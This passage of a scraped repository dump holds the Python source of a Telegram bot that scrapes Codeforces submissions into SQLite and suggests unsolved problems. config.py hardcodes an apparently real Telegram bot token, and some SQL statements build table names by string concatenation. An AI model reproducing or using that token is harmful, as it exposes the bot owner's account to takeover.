cursor2.fetchone()\n while x != None:\n cursor.execute(\"select * from result where problem = ? and diff = ?\", (str(x[0]), str(x[1])))\n x2 = cursor.fetchone()\n if x2 == None:\n cursor.execute(\"insert into result values (?, ?, ? )\", (x[0], x[1], \"NULL\"))\n last_problem = x\n x = cursor2.fetchone()\n conn2.close()\n settings.close()\n if len(last_problem) == 2:\n last_problem = last_problem[0] + last_problem[1]\n\n url = 'http://codeforces.com/submissions/' + username\n r = requests.get(url)\n max_page = 1\n soup = BeautifulSoup(r.text, \"lxml\")\n\n for link in soup.find_all(attrs={\"class\": \"page-index\"}):\n s = link.find('a')\n s2 = s.get(\"href\").split('/')\n max_page = max(max_page, int(s2[4]))\n\n v = False\n r = requests.get('http://codeforces.com/submissions/' + username + '/page/0')\n soup = BeautifulSoup(r.text, \"lxml\")\n last_try_new = soup.find(attrs={\"class\": \"status-small\"})\n last_try_new = str(last_try_new).split()\n last_try_new = str(last_try_new[2]) + str(last_try_new[3])\n for i in range(1, max_page + 1):\n r = requests.get('http://codeforces.com/submissions/' + username + '/page/' + str(i))\n soup = BeautifulSoup(r.text, \"lxml\")\n count = 0\n j = 0\n ver = soup.find_all(attrs={\"class\": \"submissionVerdictWrapper\"})\n last_try = soup.find_all(attrs={\"class\": \"status-small\"})\n for link in soup.find_all('a'):\n last_try_date = str(last_try[j]).split()\n last_try_date = str(last_try_date[2]) + str(last_try_date[3])\n if last_try_date == last_update:\n v = True\n break\n s = link.get('href')\n if s != None and s.find('/problemset') != -1:\n s = s.split('/')\n if len(s) == 5:\n s2 = str(ver[count]).split()\n s2 = s2[5].split('\\\"')\n count += 1\n j += 1\n cursor.execute(\"select * from result where problem = ? and diff = ?\", (s[3], s[4]))\n x = cursor.fetchone()\n if s2[1] == 'OK' and x != None:\n cursor.execute(\"update result set verdict = ? where problem = ? and diff = ?\", (s2[1], s[3], s[4]))\n if x[2] != 'OK':\n cursor.execute(\"update result set verdict = ? where problem = ? and diff = ?\", (s2[1], s[3], s[4]))\n if v:\n break\n\n conn.commit()\n conn.close()\n\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\settings.db\")\n conn = settings.cursor()\n conn.execute(\"update users set username = ? where chat_id = ?\", (str(username), str(chat_id)))\n conn.execute(\"update users set last_update = ? where chat_id = ?\", (str(last_try_new), str(chat_id)))\n conn.execute(\"update users set last_problem = ? where chat_id = ?\", (str(last_problem), str(chat_id)))\n\n settings.commit()\n settings.close()\n\n\ndef update_theory_base(tag, link):\n theory = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\theory.db\")\n conn = theory.cursor()\n conn.execute(\"insert into ? values (?)\", (tag, str(link)))\n theory.commit()\n theory.close()"},{"alpha_fraction":0.6580531597137451,"alphanum_fraction":0.6626046299934387,"avg_line_length":39.30769348144531,"blob_id":"dc74ac352d2375bab83aec668428e8f2f2a7f13b","content_id":"175a69c035a975a17e24c643632110ae8d30d59b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":6811,"license_type":"no_license","max_line_length":175,"num_lines":169,"path":"/bot.py","repo_name":"lissrbay/codeforces_bot","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\n#CFTrainingBot\nimport config\nimport telebot\nimport bases.createuserbase\nimport bases.createcfbase\nimport bases.problem\nimport sqlite3\nimport os\nimport bases.update\n\nbot = telebot.TeleBot(config.token)\n\n\ndef get_current_state(chat_id):\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__))+\"\\\\bases\\\\settings.db\")\n conn = settings.cursor()\n conn.execute(\"select * from users where chat_id = ?\", (str(chat_id),))\n name = conn.fetchone()\n if name != None:\n return name[4]\n else:\n return False\n settings.close()\n\ndef set_state(chat_id, value):\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\bases\\\\settings.db\")\n conn = settings.cursor()\n conn.execute(\"update users set state = ? where chat_id = ?\", (str(value), str(chat_id)))\n settings.commit()\n settings.close()\n\n@bot.message_handler(commands = ['help'])\ndef show_help(message):\n s = ''\n s += \"/login - to authorization.\\n\"\n s += \"/task - to get random unsolved task.\\n\"\n s += \"/theory - to get theory for chosen tag.\\n\"\n s += \"/stats - to see your statistic.\"\n bot.send_message(message.chat.id, \"Type:\\n\" + s)\n\n\n@bot.message_handler(commands=['start'])\ndef sayhellotoeveryone(message):\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\bases\\\\settings.db\")\n conn = settings.cursor()\n bot.send_message(message.chat.id, \"Hello!\")\n bot.send_message(message.chat.id, \"Type /help to see list of commands.\")\n conn.execute(\"insert into users values (?, ?, ?, ?, ?)\", (str(message.chat.id), \"None\", \"NULL\", \"0\", config.States.S_START.value))\n settings.commit()\n settings.close()\n\n\n#Not available for users\n@bot.message_handler(commands=['add'])\ndef add_theory(message):\n bot.send_message(message.chat.id, \"Gimme tag and link\")\n set_state(message.chat.id, config.States.S_THEORY_ADDING.value)\n\n\n@bot.message_handler(func = lambda message: get_current_state(message.chat.id) == config.States.S_THEORY_ADDING.value)\ndef add_theory2(message):\n s = message.text.split()\n bases.update.update_theory_base(s[0], s[1])\n set_state(message.chat.id, config.States.S_START.value)\n\n\n@bot.message_handler(commands=['theory'])\ndef get_theory(message):\n bot.send_message(message.chat.id, \"Print tag for theory.\\nList of tags:\\n - math \\n - dp \\n - greedy \\n - strings \\n - trees \\n - graphs \\n - geometry \\n - combinatorics\")\n set_state(message.chat.id, config.States.S_THEORY.value)\n\n\n@bot.message_handler(func = lambda message: get_current_state(message.chat.id) == config.States.S_THEORY.value)\ndef get_theory2(message):\n bot.send_message(message.chat.id, str(bases.problem.get_theory_from_tag(message.text)))\n set_state(message.chat.id, config.States.S_START.value)\n\n\n@bot.message_handler(commands =['login'])\ndef get_login(message):\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\bases\\\\settings.db\")\n conn = settings.cursor()\n conn.execute(\"select * from users where chat_id = ?\", (str(message.chat.id),))\n name = conn.fetchone()\n if name != None:\n bot.send_message(message.chat.id, \"Previous handle: \" + str(name[1]))\n else:\n bot.send_message(message.chat.id, \"Previous handle: None\")\n settings.close()\n bot.send_message(message.chat.id, \"Type new handle: \")\n set_state(message.chat.id, config.States.S_LOGIN.value)\n\n\n@bot.message_handler(func = lambda message: get_current_state(message.chat.id) == config.States.S_LOGIN.value)\ndef get_login2(message):\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\bases\\\\settings.db\")\n conn = settings.cursor()\n if bases.createuserbase.check_username(message.text):\n bot.send_message(message.chat.id, \"Invalid handle.\")\n set_state(message.chat.id, config.States.S_START.value)\n return 0\n conn.execute(\"select * from users where chat_id = ?\", (str(message.chat.id),))\n name = conn.fetchone()\n settings.close()\n bases.update.cf_update()\n bases.createuserbase.clean_base(name[1])\n bases.createuserbase.clean_base(message.text)\n bot.send_message(message.chat.id, \"Creating base...\")\n bases.createuserbase.init_user(message.text, message.chat.id)\n bot.send_message(message.chat.id, \"Done!\")\n set_state(message.chat.id, config.States.S_START.value)\n\n\n@bot.message_handler(commands=['task'])\ndef task(message):\n s = \"Which kind of task you need?\\n\"\n s += \"List of tags:\\n - math \\n - dp \\n - greedy \\n - strings\"\n s += \"\\n - trees \\n - graphs \\n - geometry \\n - combinatorics\"\n s += \"\\nYou may combine tags and difficults e.x. write '\"'dp math AB'\"' to get task with these tags and difficults.\"\n bot.send_message(message.chat.id, s)\n set_state(message.chat.id, config.States.S_GET_TASK.value)\n\n\n@bot.message_handler(func = lambda message: get_current_state(message.chat.id) == config.States.S_GET_TASK.value)\ndef get_task(message):\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\bases\\\\settings.db\")\n conn = settings.cursor()\n conn.execute(\"select * from users where chat_id = ?\", (str(message.chat.id),))\n name = conn.fetchone()\n settings.close()\n if name == None:\n bot.send_message(message.chat.id, \"You should login before get tasks.\")\n else:\n bases.update.update_user(name[1], name[0], name[2])\n bot.send_message(message.chat.id, bases.problem.get_unsolved_problem(message.text, name[1]))\n set_state(message.chat.id, config.States.S_START.value)\n\n\n@bot.message_handler(commands=['stats'])\ndef stats(message):\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\bases\\\\settings.db\")\n conn = settings.cursor()\n conn.execute(\"select * from users where chat_id = ?\", (str(message.chat.id),))\n name = conn.fetchone()\n settings.close()\n if name != None:\n bases.update.update_user(name[1], name[0], name[2])\n bases.problem.create_text_stats(name[1])\n img = open(os.path.abspath(os.path.dirname(__file__)) + \"\\\\bases\\\\users\\\\\" + name[1] + \".png\", \"rb\")\n bot.send_photo(message.chat.id, img)\n img.close()\n if bases.problem.create_stats_picture(name[1]):\n bot.send_message(message.chat.id, \"Sorry, you haven't solved tasks.\")\n return 0\n img = open(os.path.abspath(os.path.dirname(__file__)) + \"\\\\bases\\\\users\\\\\" + name[1] + \".png\", \"rb\")\n bot.send_photo(message.chat.id, img)\n img.close()\n else:\n bot.send_message(message.chat.id, \"You should login before getting statistic.\")\n\n\n@bot.message_handler(content_types=['text'])\ndef reply(message):\n bot.send_message(message.chat.id, \"Hmm...\")\n\n\nif __name__ == '__main__':\n bot.polling(none_stop = True)"},{"alpha_fraction":0.5541045069694519,"alphanum_fraction":0.5630596876144409,"avg_line_length":36.74647903442383,"blob_id":"b049cc951d09c399c27173c4ce8d3cd22be61c40","content_id":"0df997f55693273cd79372706f8f02e1f0ea8f8b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2680,"license_type":"no_license","max_line_length":129,"num_lines":71,"path":"/bases/createcfbase.py","repo_name":"lissrbay/codeforces_bot","src_encoding":"UTF-8","text":"import requests\nimport sqlite3\nimport os\nfrom bs4 import BeautifulSoup\navailable_tags = {'math', \"strings\", \"trees\", \"graphs\", \"dp\", \"greedy\", \"geometry\", \"combinatorics\"}\n\ndef create_cf_base():\n url = 'http://codeforces.com/problemset/'\n r = requests.get(url)\n max_page = 0\n soup = BeautifulSoup(r.text, \"lxml\")\n base = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\cf.db\")\n conn = base.cursor()\n conn.execute(\"create table problems (problem INTEGER, diff CHAR)\")\n for i in available_tags:\n conn.execute(\"create table ? (problems INTEGER, diff CHAR)\", (i,))\n\n for link in soup.find_all(attrs={\"class\" : \"page-index\"}):\n s = link.find('a')\n s2 = s.get(\"href\").split('/')\n max_page = max(max_page, int(s2[3]))\n\n a = 0\n b = 0\n f = False\n for i in range(1, max_page + 1):\n r = requests.get('http://codeforces.com/problemset/' + '/page/' + str(i))\n soup = BeautifulSoup(r.text, \"lxml\")\n old = ''\n for link in soup.find_all('a'):\n s = link.get('href')\n if s != None and s.find('/problemset') != -1:\n s = s.split('/')\n if len(s) == 5 and old != s[3] + s[4]:\n a = s[3]\n b = s[4]\n old = s[3] + s[4]\n if not f:\n f = True\n last_update = old\n conn.execute(\"insert into problems values (?, ?)\", (a, b))\n if len(s) == 4 and s[3] in available_tags:\n conn.execute(\"insert into ? values (?, ?)\", (s[3], a, b))\n\n base.commit()\n base.close()\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\settings.db\")\n conn = settings.cursor()\n conn.execute(\"create table users (chat_id INTEGER, username STRING, last_update STRING, last_problem STRING, state INTEGER)\")\n conn.execute(\"create table last_update_problemset (problem STRING)\")\n conn.execute(\"insert into last_update_problemset values (?)\", (last_update, ))\n settings.commit()\n settings.close()\n\n\ndef create_theory_table(): #create EMPTY theory table\n theory = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\theory.db\")\n conn = theory.cursor()\n for i in available_tags:\n conn.execute(\"create table \" + i + \" (link STRING)\")\n theory.commit()\n theory.close()\n\n\npath = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'cf.db')\nif not os.path.exists(path):\n create_cf_base()\n\npath = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'theory.db')\nif not os.path.exists(path):\n create_theory_table()\n"},{"alpha_fraction":0.508474588394165,"alphanum_fraction":0.5423728823661804,"avg_line_length":16.5,"blob_id":"0fef44d39eb35bed6465b5fc878aa17afab4f7a3","content_id":"a7e3f1ca457443192677c053033a0e4679c1a103","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":177,"license_type":"no_license","max_line_length":23,"num_lines":10,"path":"/config.py","repo_name":"lissrbay/codeforces_bot","src_encoding":"UTF-8","text":"# -*- coding: utf-8 -*-\ntoken = '461438069:AAG9IElm7TwFhLmheTpPmwYKn2xOqPWrLBw'\nfrom enum import Enum\n\nclass States(Enum):\n S_START = 0\n S_LOGIN = 1\n S_GET_TASK = 2\n S_THEORY = 3\n S_THEORY_ADDING = 4\n\n\n"},{"alpha_fraction":0.5890411138534546,"alphanum_fraction":0.6014225482940674,"avg_line_length":36.19607925415039,"blob_id":"192d37686765bb4df1e2e17c7913bc801370ad1b","content_id":"f99fb1728a174a6f8b97a98be771c91eb2201bbb","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":7896,"license_type":"no_license","max_line_length":148,"num_lines":204,"path":"/bases/problem.py","repo_name":"lissrbay/codeforces_bot","src_encoding":"UTF-8","text":"#Ребята, не стоит вскрывать этот код.\n#Вы молодые, хакеры, вам все легко. Это не то.\n#Это не Stuxnet и даже не шпионские программы ЦРУ. Сюда лучше не лезть.\n#Серьезно, любой из вас будет жалеть. Лучше закройте компилятор и забудьте что там писалось.\n#Я вполне понимаю что данным сообщением вызову дополнительный интерес, но хочу сразу предостеречь пытливых - стоп.\n#Остальные просто не найдут.\n\nimport sqlite3\nimport os\nimport random\nimport matplotlib.pyplot as plt\n\navailable_tags = ['math', \"strings\", \"trees\", \"graphs\", \"dp\", \"greedy\", \"geometry\", \"combinatorics\"]\navailable_diff = ['A', 'B', 'C', 'D', 'E', 'F']\ncolors = ['red', 'green', 'tan', 'blue', 'purple', 'orange']\n\ndef checking_request_tags(tag):\n list_of_current_tags = list()\n for i in available_tags:\n if i in tag:\n list_of_current_tags.append(i)\n\n if len(list_of_current_tags) == 0:\n return available_tags.copy()\n\n return list_of_current_tags\n\n\ndef find_intersection(tasks, tag, username):\n conn = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\users\\\\\" + username + '.db')\n conn2 = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + '\\\\cf.db')\n cursor = conn.cursor()\n cursor2 = conn2.cursor()\n cursor2.execute(\"SELECT * FROM \" + tag)\n a = list()\n problem_and_diff = cursor2.fetchone()\n while problem_and_diff != None:\n cursor.execute(\"SELECT * FROM result WHERE problem = ? AND diff = ? AND NOT verdict = 'OK'\", (problem_and_diff[0], problem_and_diff[1]))\n problem_and_diff_and_ok = cursor.fetchone()\n if problem_and_diff_and_ok != None and problem_and_diff_and_ok in tasks:\n a.append(problem_and_diff_and_ok)\n problem_and_diff = cursor2.fetchone()\n conn.close()\n conn2.close()\n return a\n\n\ndef get_array_of_tasks(tags_array, tasks, username):\n for i in range(1, len(tags_array)):\n tasks = find_intersection(tasks, tags_array[i], username)\n return tasks\n\n\ndef checking_request_diff(tag):\n list_of_current_diff = list()\n for i in available_diff:\n if i in tag:\n list_of_current_diff.append(i)\n if len(list_of_current_diff) == 0:\n return available_diff.copy()\n return list_of_current_diff\n\n\ndef get_unsolved_problem(tag, username):\n tasks = list()\n list_of_current_tags = checking_request_tags(tag)\n list_of_current_diff = checking_request_diff(tag)\n conn = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\users\\\\\" + username + '.db')\n conn2 = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + '\\\\cf.db')\n cursor = conn.cursor()\n cursor2 = conn2.cursor()\n cursor2.execute(\"SELECT * FROM \" + list_of_current_tags[0])\n problem_and_diff = cursor2.fetchone()\n while problem_and_diff != None:\n if problem_and_diff[1] in list_of_current_diff:\n cursor.execute(\"SELECT * FROM result WHERE problem = ? AND diff = ? AND NOT verdict = 'OK'\", (problem_and_diff[0], problem_and_diff[1]))\n problem_and_diff_and_ok = cursor.fetchone()\n if problem_and_diff_and_ok != None:\n tasks.append(problem_and_diff_and_ok)\n problem_and_diff = cursor2.fetchone()\n conn.close()\n conn2.close()\n tasks = get_array_of_tasks(list_of_current_tags, tasks, username)\n random.seed()\n if len(tasks) > 0:\n ind1 = random.randint(0, len(tasks) - 1)\n s1 = str(tasks[ind1][0]) + '/' + tasks[ind1][1]\n tasks.pop(ind1)\n return 'http://codeforces.com/problemset/problem/' + s1\n else:\n return \"You have solved all tasks with this tag, nice!\"\n\ndef get_theory_from_tag(tag):\n if not tag in available_tags:\n return \"Incorrect tag.\"\n\n base = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\theory.db\")\n conn = base.cursor()\n conn.execute(\"select * from \" + tag)\n x = conn.fetchone()\n s = \"\"\n while x != None:\n s += str(x[0]) + '\\n'\n x = conn.fetchone()\n base.close()\n return s\n\nclass Pair():\n def __init__(self, first, second):\n self.first = first\n self.second = second\n\ndef count_stats(username):\n conn = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\users\\\\\" + username + '.db')\n conn2 = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + '\\\\cf.db')\n cursor = conn.cursor()\n cursor2 = conn2.cursor()\n list_tags_stats = list()\n\n for i in available_tags:\n cursor2.execute(\"SELECT * FROM \" + str(i))\n x = cursor2.fetchone()\n count = 0\n while x != None:\n cursor.execute(\"SELECT * FROM result WHERE problem = ? AND diff = ? AND verdict = 'OK'\", (x[0], x[1]))\n y = cursor.fetchone()\n if y != None:\n count += 1\n x = cursor2.fetchone()\n list_tags_stats.append(Pair(count, i))\n conn.close()\n conn2.close()\n return list_tags_stats\n\ndef create_stats_picture(username):\n data_for_plot = list()\n leg = list()\n list_tags_stats = count_stats(username)\n sum = 0\n for i in range(len(list_tags_stats)):\n sum += list_tags_stats[i].first\n for i in range(len(list_tags_stats)):\n if list_tags_stats[i].first / sum != 0:\n data_for_plot.append(list_tags_stats[i].first / sum)\n leg.append(list_tags_stats[i].second)\n\n fig1, ax1 = plt.subplots()\n ax1.pie(data_for_plot, autopct='%1.1f%%',\n shadow=True, startangle=90)\n ax1.axis('equal')\n ax1.legend(leg)\n path = os.path.join(os.path.abspath(os.path.dirname(__file__)) + \"\\\\users\\\\\", username + '.png')\n if os.path.exists(path):\n os.remove(path)\n plt.savefig(os.path.abspath(os.path.dirname(__file__)) + \"\\\\users\\\\\" + username + \".png\")\n plt.close()\n return False\n\n\ndef count_stats_for_second_plot(username):\n verdict = {\"COMPILATION_ERROR\": 0, \"OK\": 0, \"TIME_LIMIT_EXCEEDED\": 0, \"WRONG_ANSWER\": 0, \"RUNTIME_ERROR\": 0,\n \"MEMORY_LIMIT_EXCEEDED\": 0}\n conn = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\users\\\\\" + username + '.db')\n conn2 = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + '\\\\cf.db')\n cursor = conn.cursor()\n cursor2 = conn2.cursor()\n count = 0\n for i in available_tags:\n cursor2.execute(\"SELECT * FROM \" + str(i))\n x = cursor2.fetchone()\n while x != None:\n cursor.execute(\"SELECT * FROM result WHERE problem = ? AND diff = ?\", (x[0], x[1]))\n y = cursor.fetchone()\n if y != None:\n for j in verdict.keys():\n if y[2] == j:\n verdict[j] += 1\n count += 1\n\n x = cursor2.fetchone()\n return verdict\n conn.close()\n conn2.close()\n\n\ndef create_text_stats(username):\n list_tags_stats = list()\n data_for_plot = list()\n verdict = count_stats_for_second_plot(username)\n for i in verdict.keys():\n list_tags_stats.append(i)\n data_for_plot.append(verdict[i])\n fig1, ax1 = plt.subplots()\n ax1.pie(data_for_plot, labels = data_for_plot, colors = colors,\n shadow=True, startangle=90)\n ax1.axis('equal')\n ax1.legend(list_tags_stats)\n ax1.set_title('How many different verdict in last status of problem you have: ')\n path = os.path.join(os.path.abspath(os.path.dirname(__file__)) + \"\\\\users\\\\\", username + '.png')\n if os.path.exists(path):\n os.remove(path)\n plt.savefig(os.path.abspath(os.path.dirname(__file__)) + \"\\\\users\\\\\" + username + \".png\")\n plt.close()\n return True\n\n\n\n\n"},{"alpha_fraction":0.5495448708534241,"alphanum_fraction":0.5622887015342712,"avg_line_length":42.21348190307617,"blob_id":"df29d72b00a9b09f5faa74ab0e8e7eb09957fcb7","content_id":"8ed686d74b22b051a3aa87d54c3f7006b9162dd5","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3845,"license_type":"no_license","max_line_length":125,"num_lines":89,"path":"/bases/createuserbase.py","repo_name":"lissrbay/codeforces_bot","src_encoding":"UTF-8","text":"import requests\nimport sqlite3\nimport os\nfrom bs4 import BeautifulSoup\n\n\ndef check_username(username):\n if username == \"\":\n return True\n if len(username.split()) > 1:\n return True\n r = requests.get('http://codeforces.com/submissions/' + username)\n soup = BeautifulSoup(r.text, \"lxml\")\n if soup.find(attrs={\"class\":\"verdict\"}) == None:\n return True\n return False\n\n\ndef clean_base(username):\n path = os.path.join(os.path.abspath(os.path.dirname(__file__)) + \"\\\\users\\\\\" + username + '.db')\n if os.path.exists(path):\n os.remove(path)\n\n\ndef init_user(username, chat_id):\n conn = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\users\\\\\" + username + '.db')\n conn2 = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + '\\\\cf.db')\n cursor = conn.cursor()\n cursor2 = conn2.cursor()\n cursor.execute(\"CREATE TABLE result (problem INTEGER, diff STRING, verdict STRING)\")\n cursor2.execute(\"SELECT * FROM problems\")\n x = cursor2.fetchone()\n while x != None:\n cursor.execute(\"insert into result values (?, ?, ? )\", (x[0], x[1], \"NULL\"))\n x = cursor2.fetchone()\n\n url = 'http://codeforces.com/submissions/' + username\n r = requests.get(url)\n max_page = 1\n soup = BeautifulSoup(r.text, \"lxml\")\n\n for link in soup.find_all(attrs={\"class\": \"page-index\"}):\n s = link.find('a')\n s2 = s.get(\"href\").split('/')\n max_page = max(max_page, int(s2[4]))\n r = requests.get('http://codeforces.com/submissions/' + username + '/page/0')\n soup = BeautifulSoup(r.text, \"lxml\")\n last_try = soup.find(attrs={\"class\":\"status-small\"})\n if not last_try == None:\n last_try = str(last_try).split()\n last_try = str(last_try[2]) + str(last_try[3])\n\n for i in range(1, max_page + 1):\n r = requests.get('http://codeforces.com/submissions/' + username + '/page/' + str(i))\n soup = BeautifulSoup(r.text, \"lxml\")\n count = 0\n ver = soup.find_all(attrs={\"class\": \"submissionVerdictWrapper\"})\n for link in soup.find_all('a'):\n s = link.get('href')\n if s != None and s.find('/problemset') != -1:\n s = s.split('/')\n if len(s) == 5:\n s2 = str(ver[count]).split()\n s2 = s2[5].split('\\\"')\n count += 1\n cursor.execute(\"select * from result where problem = ? and diff = ?\", (s[3], s[4]))\n x = cursor.fetchone()\n if s2[1] == 'OK' and x != None:\n cursor.execute(\"update result set verdict = ? where problem = ? and diff = ?\", (s2[1], s[3], s[4]))\n if x != None and x[2] != 'OK':\n cursor.execute(\"update result set verdict = ? where problem = ? and diff = ?\", (s2[1], s[3], s[4]))\n conn.commit()\n conn.close()\n conn2.close()\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \"\\\\settings.db\")\n conn = settings.cursor()\n conn.execute(\"select * from last_update_problemset\")\n last_problem = conn.fetchone()\n conn.execute(\"select * from users where chat_id = ?\", (str(chat_id),))\n x = conn.fetchone()\n if x == None:\n conn.execute(\"insert into users values (?, ?, ?, ?, ?)\", (chat_id, username, str(last_try), str(last_problem[0]), 1))\n else:\n conn.execute(\"update users set username = ? where chat_id = ?\", (str(username), str(chat_id)))\n conn.execute(\"update users set last_update = ? where chat_id = ?\", (str(last_try), str(chat_id)))\n conn.execute(\"update users set last_problem = ? where chat_id = ?\", (str(last_problem[0]), str(chat_id)))\n conn.execute(\"update users set state = ? where chat_id = ?\", (str(1), str(chat_id)))\n settings.commit()\n settings.close()"}],"string":"[\n {\n \"alpha_fraction\": 0.5163999199867249,\n \"alphanum_fraction\": 0.529710054397583,\n \"avg_line_length\": 39.20382308959961,\n \"blob_id\": \"6e81290ca74a3906ab92fa8f134c5c1c9f13d232\",\n \"content_id\": \"ca9a26b0d98331709f578e9e3b1db6cdf8f1e53a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 6311,\n \"license_type\": \"no_license\",\n \"max_line_length\": 123,\n \"num_lines\": 157,\n \"path\": \"/bases/update.py\",\n \"repo_name\": \"lissrbay/codeforces_bot\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import requests\\nimport sqlite3\\nimport os\\nfrom bs4 import BeautifulSoup\\n\\ndef cf_update():\\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\settings.db\\\")\\n cursor = settings.cursor()\\n cursor.execute(\\\"select * from last_update_problemset\\\")\\n x = cursor.fetchone()\\n\\n last_try = x[0]\\n\\n url = 'http://codeforces.com/problemset/'\\n r = requests.get(url)\\n max_page = 0\\n available_tags = {'math', \\\"strings\\\", \\\"trees\\\", \\\"graphs\\\", \\\"dp\\\", \\\"greedy\\\"}\\n soup = BeautifulSoup(r.text, \\\"lxml\\\")\\n base = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\cf.db\\\")\\n conn = base.cursor()\\n\\n for link in soup.find_all(attrs={\\\"class\\\" : \\\"page-index\\\"}):\\n s = link.find('a')\\n s2 = s.get(\\\"href\\\").split('/')\\n max_page = max(max_page, int(s2[3]))\\n\\n a = ''\\n b = 0\\n f = False\\n last_update = last_try\\n for i in range(1, max_page + 1):\\n r = requests.get('http://codeforces.com/problemset/' + '/page/' + str(i))\\n soup = BeautifulSoup(r.text, \\\"lxml\\\")\\n old = ''\\n v = False\\n for link in soup.find_all('a'):\\n s = link.get('href')\\n if s != None and s.find('/problemset') != -1:\\n s = s.split('/')\\n if len(s) == 5 and old != s[3] + s[4]:\\n if s[3] + s[4] == last_try:\\n v = True\\n break\\n a = s[3]\\n b = s[4]\\n old = s[3] + s[4]\\n if not f:\\n f = True\\n last_update = old\\n conn.execute(\\\"insert into problems values (?, ?)\\\", (a, b))\\n if len(s) == 4 and s[3] in available_tags:\\n conn.execute(\\\"insert into ? values (?, ?)\\\", (s[3], a, b))\\n\\n if v:\\n break\\n\\n\\n base.commit()\\n base.close()\\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\settings.db\\\")\\n conn = settings.cursor()\\n conn.execute(\\\"update last_update_problemset set problem = ? where problem = ?\\\", (str(last_update), str(last_try)))\\n settings.commit()\\n settings.close()\\n\\ndef update_user(username, chat_id, last_update):\\n conn = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\users\\\\\\\\\\\" + username + '.db')\\n conn2 = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + '\\\\\\\\cf.db')\\n settings = sqlite3.connect(os.path.abspath(os.path.dirname(__file__)) + \\\"\\\\\\\\settings.db\\\")\\n cursor = conn.cursor()\\n cursor2 = conn2.cursor()\\n cursor_settings = settings.cursor()\\n cursor_settings.execute(\\\"select last_problem from users where chat_id = ?\\\", (str(chat_id), ))\\n update_eq = cursor_settings.fetchone()\\n cursor_settings.execute(\\\"select * from last_update_problemset\\\")\\n update_base = cursor_settings.fetchone()\\n last_problem = update_base[0]\\n if update_eq[0] != update_base[0]:\\n cursor2.execute(\\\"SELECT * FROM problems\\\")\\n x = cursor2.fetchone()\\n while x != None:\\n cursor.execute(\\\"select * from result where problem = ? and diff = ?\\\", (str(x[0]), str(x[1])))\\n x2 = cursor.fetchone()\\n if x2 == None:\\n cursor.execute(\\\"insert into result values (?, ?, ? )\\\", (x[0], x[1], \\\"NULL\\\"))\\n last_problem = x\\n x = cursor2.fetchone()\\n conn2.close()\\n settings.close()\\n if len(last_problem) == 2:\\n last_problem = last_problem[0] + last_problem[1]\\n\\n url = 'http://codeforces.com/submissions/' + username\\n r = requests.get(url)\\n max_page = 1\\n soup = BeautifulSoup(r.text, \\\"lxml\\\")\\n\\n for link in soup.find_all(attrs={\\\"class\\\": \\\"page-index\\\"}):\\n s = link.find('a')\\n s2 = s.get(\\\"href\\\").split('/')\\n max_page = max(max_page, int(s2[4]))\\n\\n v = False\\n r = requests.get('http://codeforces.com/submissions/' + username + '/page/0')\\n soup = BeautifulSoup(r.text, \\\"lxml\\\")\\n last_try_new = soup.find(attrs={\\\"class\\\": \\\"status-small\\\"})\\n last_try_new = str(last_try_new).split()\\n last_try_new = str(last_try_new[2]) + str(last_try_new[3])\\n for i in range(1, max_page + 1):\\n r = requests.get('http://codeforces.com/submissions/' + username + '/page/' + str(i))\\n soup = BeautifulSoup(r.text, \\\"lxml\\\")\\n count = 0\\n j = 0\\n ver = soup.find_all(attrs={\\\"class\\\": \\\"submissionVerdictWrapper\\\"})\\n last_try = soup.find_all(attrs={\\\"class\\\": \\\"status-small\\\"})\\n for link in soup.find_all('a'):\\n last_try_date = str(last_try[j]).split()\\n last_try_date = str(last_try_date[2]) + str(last_try_date[3])\\n if last_try_date == last_update:\\n v = True\\n break\\n s = link.get('href')\\n if s != None and s.find('/problemset') != -1:\\n s = s.split('/')\\n if len(s) == 5:\\n s2 = str(ver[count]).split()\\n s2 = s2[5].split('\\\\\\\"')\\n count += 1\\n j += 1\\n cursor.execute(\\\"select * from result where problem = ? and diff = ?\\\", (s[3], 